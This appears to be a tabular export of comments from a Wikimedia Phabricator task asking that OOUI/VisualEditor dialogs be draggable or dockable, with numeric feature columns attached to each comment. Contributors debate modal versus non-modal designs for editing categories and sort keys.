Eurgh. I really don't like the dockable model of modals. It feels like failure. I'd prefer instead that we provide secondary non-modal ways to do things people want to do that isn't modal. AsSCREEN_NAME-WMF says, this isn't going to work for anyone that doesn't have a huge desktop screen to use."
340204,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#835122, @TrevorParscal wrote:
> In my view, editing categories should not be a modal experience.

Not **necessarily** modal. The HotCat gadget that this partially replaces is already effectively-modal too, for instance.

> The category editor should simply be embedded at the bottom of the page in place of the category listing.

That's {T52239}.

",,,1418176524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,23.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.717948717948718,0.717948717948718,"QUOTE
QUOTE

Not **necessarily** modal. The HotCat gadget that this partially replaces is already effectively-modal too, for instance.

QUOTE

That's {T52239}.

"
340106,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#548465, @PamD wrote:
> (In reply to Trevor Parscal from comment #22)
>> I would like to avoid adding moving and resizing to dialogs, because I
>> believe it solving the problem in the wrong way. At it's root, this is a
>> workflow problem. Making the dialog resizable and movable does not
>> adequately address it.
>> 
>>....
> 
> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.

I am not saying it's a problem with YOUR workflow, I'm saying it's a problem with the workflow we are providing you. I'm admitting we have failed you, and because we didn't understand how you actually use the software we modeled the workflow around our imagined way you might use the software.

In my view, editing categories should not be a modal experience. The category editor should simply be embedded at the bottom of the page in place of the category listing. If we do anything to try and get the dialog out of the way temporarily, we will still not be able to let you select text behind the dialog without breaking the entire concept of a modal dialog. By placing the category editor at the bottom, you are free to scroll around and select whatever you like. This is the experience you have with the Wikitext editor, and there's no reason we can't continue to provide it.",,,1418163779,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,0.0,0.5,0.0,0.5,2.5,1.5,2.0,0.5,0.0,0.5,1.0,2.0,0.0,0.0,0.5,6.0,0.0,5.5,11.0,0.5,2.0,1.0,0.0,0.0,1.0,0.5,0.0,1.5,0.5,0.5,0.5,7.0,1.5,1.5,1.5,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,3.0,0.0,2.0,0.0,0.0,0.5,10.0,3.5,10.0,1.5,2.0,11.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,12.0,11.0,5.0,0.0,0.0,0.0,12.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,3.91,0.585,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I am not saying it's a problem with YOUR workflow, I'm saying it's a problem with the workflow we are providing you. I'm admitting we have failed you, and because we didn't understand how you actually use the software we modeled the workflow around our imagined way you might use the software.

In my view, editing categories should not be a modal experience. The category editor should simply be embedded at the bottom of the page in place of the category listing. If we do anything to try and get the dialog out of the way temporarily, we will still not be able to let you select text behind the dialog without breaking the entire concept of a modal dialog. By placing the category editor at the bottom, you are free to scroll around and select whatever you like. This is the experience you have with the Wikitext editor, and there's no reason we can't continue to provide it."
337358,OOUI: Dialogs should be repositionable/draggable,Making the dialog one-third the width of the screen is only going to make sense on a desktop system.  One third the width of a smartphone screen is not going to be functional (the entire dialog box would be a couple of centimeters wide).,,,1418010994,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,4.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.803921568627451,0.6666666666666666,Making the dialog one-third the width of the screen is only going to make sense on a desktop system.  One third the width of a smartphone screen is not going to be functional (the entire dialog box would be a couple of centimeters wide).
336972,OOUI: Dialogs should be repositionable/draggable,"The discussion is complicated by the unnecessary ""Options"" menu on the left side of the dialog box. (I believe this is the **only** place in VE where selecting a choice from a top menu results in a dialog box that shows all the other choices on that menu; that would make sense if an editor were likely to want to do two or three page-related things at once, but in fact he/she almost certainly does *not*.) While redoing the entire approach to how the three-line (should be ""Page"") menu choices work is probably outside the scope of this topic, I will note that what the requester needs (access to all the text on the page, *while* the dialog is open) is applicable only to **two choices** - categories and default sort. 

For those two menu choices, categories and default sort, I suggest that the dialog attach itself to the **right side** of the window, taking up 1/3 of the width of the window, and that the left side - the text on the page - be scrollable. (If it's easier to program, then perhaps the dialog should be attached on the left, with the scrolling done on the right.) For the other menu choices, a normal modal dialog box is fine.",,,1417811550,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,6.666666666666667,2.3333333333333335,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.3333333333333335,13.0,0.0,1.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,1.0,20.333333333333332,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,11.0,3.3333333333333335,3.6666666666666665,3.0,1.6666666666666667,13.333333333333334,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,2.6666666666666665,0.0,2.3333333333333335,13.0,0.6666666666666666,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,3.553030303030303,0.662878787878788,"The discussion is complicated by the unnecessary ""Options"" menu on the left side of the dialog box. (I believe this is the **only** place in VE where selecting a choice from a top menu results in a dialog box that shows all the other choices on that menu; that would make sense if an editor were likely to want to do two or three page-related things at once, but in fact he/she almost certainly does *not*.) While redoing the entire approach to how the three-line (should be ""Page"") menu choices work is probably outside the scope of this topic, I will note that what the requester needs (access to all the text on the page, *while* the dialog is open) is applicable only to **two choices** - categories and default sort. 

For those two menu choices, categories and default sort, I suggest that the dialog attach itself to the **right side** of the window, taking up 1/3 of the width of the window, and that the left side - the text on the page - be scrollable. (If it's easier to program, then perhaps the dialog should be attached on the left, with the scrolling done on the right.) For the other menu choices, a normal modal dialog box is fine."
336854,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821594, @PamD wrote:
>I don't know the term ""dock""  but I think you mean what I'd call ""minimise""? 

No, dock does not mean the same as minimise.  Docking is fixing the dialogue to one edge of the window, rather than plonking a popup in the middle of the window.  In the mockup example the dialogue is docked to the bottom of the window.  Applications often give the user a choice of which edge they want to dock to, but I don't know if that is what is propsoed here.

For me, this would work if the window could still be scrolled while the dialogue was open, thus uncovering any content hidden by the dialogue (or even off the boundary of the window at the time the dialogue was invoked).
",,,1417802087,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,1.0,0.0,0.0,3.0,1.5,2.0,1.0,0.0,0.0,1.5,3.0,1.0,0.0,0.0,0.0,1.5,1.0,5.5,12.5,0.0,1.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,1.0,1.0,0.0,5.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,14.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.5,5.0,4.5,2.5,1.5,14.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,12.5,1.0,0.0,0.0,0.0,2.5,0.0,1.5,1.0,1.0,2.0,0.0,0.0,0.0,3.706354590682949,0.6922207146087743,"QUOTE
QUOTE

No, dock does not mean the same as minimise.  Docking is fixing the dialogue to one edge of the window, rather than plonking a popup in the middle of the window.  In the mockup example the dialogue is docked to the bottom of the window.  Applications often give the user a choice of which edge they want to dock to, but I don't know if that is what is propsoed here.

For me, this would work if the window could still be scrolled while the dialogue was open, thus uncovering any content hidden by the dialogue (or even off the boundary of the window at the time the dialogue was invoked).
"
336836,OOUI: Dialogs should be repositionable/draggable,"Looks as if it might work: I don't know the term ""dock""  but I think you mean what I'd call ""minimise""? So click on that icon, the dialog box shrinks to an icon, I read what's behind it: I hope I can copy text from it, eg to fix a DEFAULTSORT? Then click on the icon to restore the dialogue box and carry on. Yes, could be a great solution. Probably better than my original suggestion, many moons ago, of dragging or resizing.  Thanks.",,,1417799263,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,1.0,0.0,0.0,0.0,0.5,4.0,1.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.5,0.0,3.5,2.0,2.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,5.5,1.0,8.5,0.5,2.5,6.0,0.0,0.0,0.0,0.0,7.5,1.0,0.0,0.0,6.5,9.0,0.5,1.5,2.0,0.0,6.5,0.0,1.0,2.5,0.0,1.0,1.0,0.0,0.0,3.2936757512229207,0.7760307477288609,"Looks as if it might work: I don't know the term ""dock""  but I think you mean what I'd call ""minimise""? So click on that icon, the dialog box shrinks to an icon, I read what's behind it: I hope I can copy text from it, eg to fix a DEFAULTSORT? Then click on the icon to restore the dialogue box and carry on. Yes, could be a great solution. Probably better than my original suggestion, many moons ago, of dragging or resizing.  Thanks."
336790,OOUI: Dialogs should be repositionable/draggable,"Indeed, but in this use case you then have to drag it back on-screen to input the category name or whatever.",,,1417793086,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.96,"Indeed, but in this use case you then have to drag it back on-screen to input the category name or whatever."
336787,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821409, @matmarex wrote:
> ...and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).

Even if the dialog window is very large, it can still be pushed out of the way by dragging it until it is nearly completely off screen.
",,,1417793032,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,6.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6176470588235294,0.8235294117647058,"QUOTE
QUOTE

Even if the dialog window is very large, it can still be pushed out of the way by dragging it until it is nearly completely off screen.
"
336780,OOUI: Dialogs should be repositionable/draggable,"I'm increasingly convinced that draggable dialogs in general are a solution in search of a problem. (It could be interesting to do, but shouldn't be applied to all dialogs.)

> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.

I was thinking, perhaps the dialogs should be ""dockable"" at the bottom of the screen? Clicking an icon on dialog's title bar would hide the white overlay and dock it, revealing article content. We should think what to do with dialogs that were modal in this case, but I think this approach could work, and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).

Here's a rough mockup – note the docking icon on the right. Thoughts?

{F19025,size=full}",,,1417792226,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,74,,0.5,0.0,0.0,0.5,0.5,7.5,1.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,6.5,10.5,0.0,1.5,1.5,0.0,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,3.0,3.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,15.5,0.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,6.5,3.5,5.5,1.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,10.5,0.0,1.0,1.0,0.0,3.5,0.0,2.5,2.5,0.0,2.5,0.5,0.5,0.0,3.8902439024390243,0.7926829268292683,"I'm increasingly convinced that draggable dialogs in general are a solution in search of a problem. (It could be interesting to do, but shouldn't be applied to all dialogs.)

QUOTE

I was thinking, perhaps the dialogs should be ""dockable"" at the bottom of the screen? Clicking an icon on dialog's title bar would hide the white overlay and dock it, revealing article content. We should think what to do with dialogs that were modal in this case, but I think this approach could work, and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).

Here's a rough mockup – note the docking icon on the right. Thoughts?

{F19025,size=full}"
237029,OOUI: Dialogs should be repositionable/draggable,"(In reply to Trevor Parscal from comment #22)
> I would like to avoid adding moving and resizing to dialogs, because I
> believe it solving the problem in the wrong way. At it's root, this is a
> workflow problem. Making the dialog resizable and movable does not
> adequately address it.
> 
>....

You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.

If I want to add a stub template for a Russian footballer, and then discover that not only do I need {{Russia-footy-defender-stub}} but that it's subdivided by date of birth, I need to be able to look at the article and find his date of birth to use {{Russia-footy-defender-1960s-stub}}.  If I want to add a defaultsort, I need to be able to copy the surname, and then the forename, from the text of the article. How should I adjust my workflow?

For the foreseeable future, I've adjusted my workflow by abandoning any attempt to use VE as it makes my editing too difficult.",,,1414347353,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,6.0,0.3333333333333333,3.6666666666666665,12.666666666666666,0.0,3.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,4.666666666666667,0.6666666666666666,1.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,13.666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.666666666666667,0.6666666666666666,11.333333333333334,4.0,2.0,7.0,0.0,0.0,0.0,0.3333333333333333,6.333333333333333,0.0,0.3333333333333333,0.0,8.0,12.666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,8.0,0.0,0.6666666666666666,3.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.4596514596514596,0.6953046953046953,"(In reply to Trevor Parscal from comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.

If I want to add a stub template for a Russian footballer, and then discover that not only do I need {{Russia-footy-defender-stub}} but that it's subdivided by date of birth, I need to be able to look at the article and find his date of birth to use {{Russia-footy-defender-1960s-stub}}.  If I want to add a defaultsort, I need to be able to copy the surname, and then the forename, from the text of the article. How should I adjust my workflow?

For the foreseeable future, I've adjusted my workflow by abandoning any attempt to use VE as it makes my editing too difficult."
237025,OOUI: Dialogs should be repositionable/draggable,"(In reply to Trevor Parscal from comment #22)
> I would like to avoid adding moving and resizing to dialogs, because I
> believe it solving the problem in the wrong way. At it's root, this is a
> workflow problem. Making the dialog resizable and movable does not
> adequately address it.
> 
> More of these processes should be non-modal, especially authoring edit
> summaries. This would allow users to contribute to edit summaries as they
> work, rather than having to write them at the very end, when the changes
> they've made are so temporally distant.
> 
> Even if the dialog is movable an resizable and movable, the contents below
> are only visible through a semi-opaque mask and the contents cannot be
> scrolled because the modal dialog is capturing events (on purpose, it's
> modal).

This is a good point, but I dont think, its related to this enhencment. You are right, that if I am doing a lot of different changes and/or editing the article several minutes, I forgot, what I was doing. But how this problem is related to the fact, I cannost drag the DW avay to see what is behind?",,,1414336477,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,1.0,0.0,0.0,1.0,0.0,3.5,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,6.5,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,2.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,8.5,0.5,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,4.0,5.0,16.0,3.0,2.5,6.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,5.5,6.5,8.0,1.0,0.0,0.0,5.5,0.0,3.0,1.5,0.0,3.0,0.0,0.0,0.0,3.3515151515151516,0.6158249158249158,"(In reply to Trevor Parscal from comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is a good point, but I dont think, its related to this enhencment. You are right, that if I am doing a lot of different changes and/or editing the article several minutes, I forgot, what I was doing. But how this problem is related to the fact, I cannost drag the DW avay to see what is behind?"
237021,OOUI: Dialogs should be repositionable/draggable,"I would like to avoid adding moving and resizing to dialogs, because I believe it solving the problem in the wrong way. At it's root, this is a workflow problem. Making the dialog resizable and movable does not adequately address it.

More of these processes should be non-modal, especially authoring edit summaries. This would allow users to contribute to edit summaries as they work, rather than having to write them at the very end, when the changes they've made are so temporally distant.

Even if the dialog is movable an resizable and movable, the contents below are only visible through a semi-opaque mask and the contents cannot be scrolled because the modal dialog is capturing events (on purpose, it's modal).",,,1413922302,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,0.0,0.0,0.5,0.5,1.0,11.0,2.5,1.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,1.0,0.0,7.0,9.5,0.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.5,1.0,0.0,7.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,12.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,7.5,4.5,3.5,2.5,2.5,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.5,9.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,2.0,0.5,4.5,0.5,0.0,0.0,4.1506849315068495,0.7586567732115677,"I would like to avoid adding moving and resizing to dialogs, because I believe it solving the problem in the wrong way. At it's root, this is a workflow problem. Making the dialog resizable and movable does not adequately address it.

More of these processes should be non-modal, especially authoring edit summaries. This would allow users to contribute to edit summaries as they work, rather than having to write them at the very end, when the changes they've made are so temporally distant.

Even if the dialog is movable an resizable and movable, the contents below are only visible through a semi-opaque mask and the contents cannot be scrolled because the modal dialog is capturing events (on purpose, it's modal)."
237018,OOUI: Dialogs should be repositionable/draggable,"> You can't edit anything, tables, Chinese or galleries, 
> if there is big immovable box in the way.

This isn't really true:  you can close the box.  With the box open (and movable), you can *see* the content on the page, but you still can't edit it.  When you've got a dialog box open, but all your typing ends up on the page underneath the box, then we call that a bug.

The problem here is that (depending on the size of the box and the exact location of your cursor when you open it), what you need to *see* on the page might be covered up by the box.  ""Open box, realize that you've forgotten how to spell something, realize that the box is covering up that word, close box, check spelling, open box again, finally type"" is not as efficient as ""Open box, drag it out of the way, start typing"".",,,1407787535,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0.5,0.5,0.0,0.5,1.5,5.5,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,7.0,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,7.0,3.5,1.5,0.0,4.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,15.0,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,8.5,2.5,4.0,3.5,2.0,10.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,1.0,0.0,1.5,0.0,0.0,0.0,3.2241573033707867,0.6089263420724096,"QUOTE
QUOTE

This isn't really true:  you can close the box.  With the box open (and movable), you can *see* the content on the page, but you still can't edit it.  When you've got a dialog box open, but all your typing ends up on the page underneath the box, then we call that a bug.

The problem here is that (depending on the size of the box and the exact location of your cursor when you open it), what you need to *see* on the page might be covered up by the box.  ""Open box, realize that you've forgotten how to spell something, realize that the box is covering up that word, close box, check spelling, open box again, finally type"" is not as efficient as ""Open box, drag it out of the way, start typing""."
237014,OOUI: Dialogs should be repositionable/draggable,"(In reply to James Forrester from comment #18)
> (In reply to Spinningspark from comment #17)
> > Why is this languishing at low priority? Fixing something that is preventing
> > the editor from reading the thing he is editing is HIGH priority.
> 
> ""High"" priority would mean that it's more important than editing tables,
> editing in Chinese, or editing galleries. ""High"" priority is not appropriate
> for this relatively minor and very complex enhancement request.

You can't edit anything, tables, Chinese or galleries, if there is big immovable box in the way.",,,1407777158,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,25.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,10.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.7083333333333334,"(In reply to James Forrester from comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You can't edit anything, tables, Chinese or galleries, if there is big immovable box in the way."
237008,OOUI: Dialogs should be repositionable/draggable,"Just to be clear, this is a DESIGN TEAM problem, because it's a problem with the OOjs UI, which VE uses, but which is under the control of the Design team. The issue is that the OOjs UI WindowManager lacks a resizing event. That issue affects every use of windows in the OOjs UI, not just VE's use of windows.

Why isn't this bug showing on the list of problems that the Design Team is considering (https://bugzilla.wikimedia.org/buglist.cgi?keywords=design&keywords_type=allwords&list_id=335932&order=changeddate%20DESC%2Cvotes%20DESC%2Cpriority%2Cbug_status%20DESC%2Cassigned_to%2Cbug_id&query_format=advanced&resolution=--- )? (I got that list via https://www.mediawiki.org/wiki/Design ) 

Relatedly, why is the priority for fixing this bug being set by the VE team, rather than by the Design team?",,,1407776333,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0.5,0.0,0.0,1.0,1.5,0.5,3.5,0.5,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,1.0,6.0,10.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,5.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,1.0,0.0,0.0,15.0,0.5,3.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.5,5.0,15.0,2.5,0.5,13.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,10.5,8.5,1.5,0.0,0.0,1.5,0.0,3.5,1.5,0.0,3.0,0.0,0.0,0.0,3.5110087045570917,0.6639784946236559,"Just to be clear, this is a DESIGN TEAM problem, because it's a problem with the OOjs UI, which VE uses, but which is under the control of the Design team. The issue is that the OOjs UI WindowManager lacks a resizing event. That issue affects every use of windows in the OOjs UI, not just VE's use of windows.

Why isn't this bug showing on the list of problems that the Design Team is considering (URL )? (I got that list via URL ) 

Relatedly, why is the priority for fixing this bug being set by the VE team, rather than by the Design team?"
237001,OOUI: Dialogs should be repositionable/draggable,"(In reply to Spinningspark from comment #17)
> Why is this languishing at low priority? Fixing something that is preventing
> the editor from reading the thing he is editing is HIGH priority.

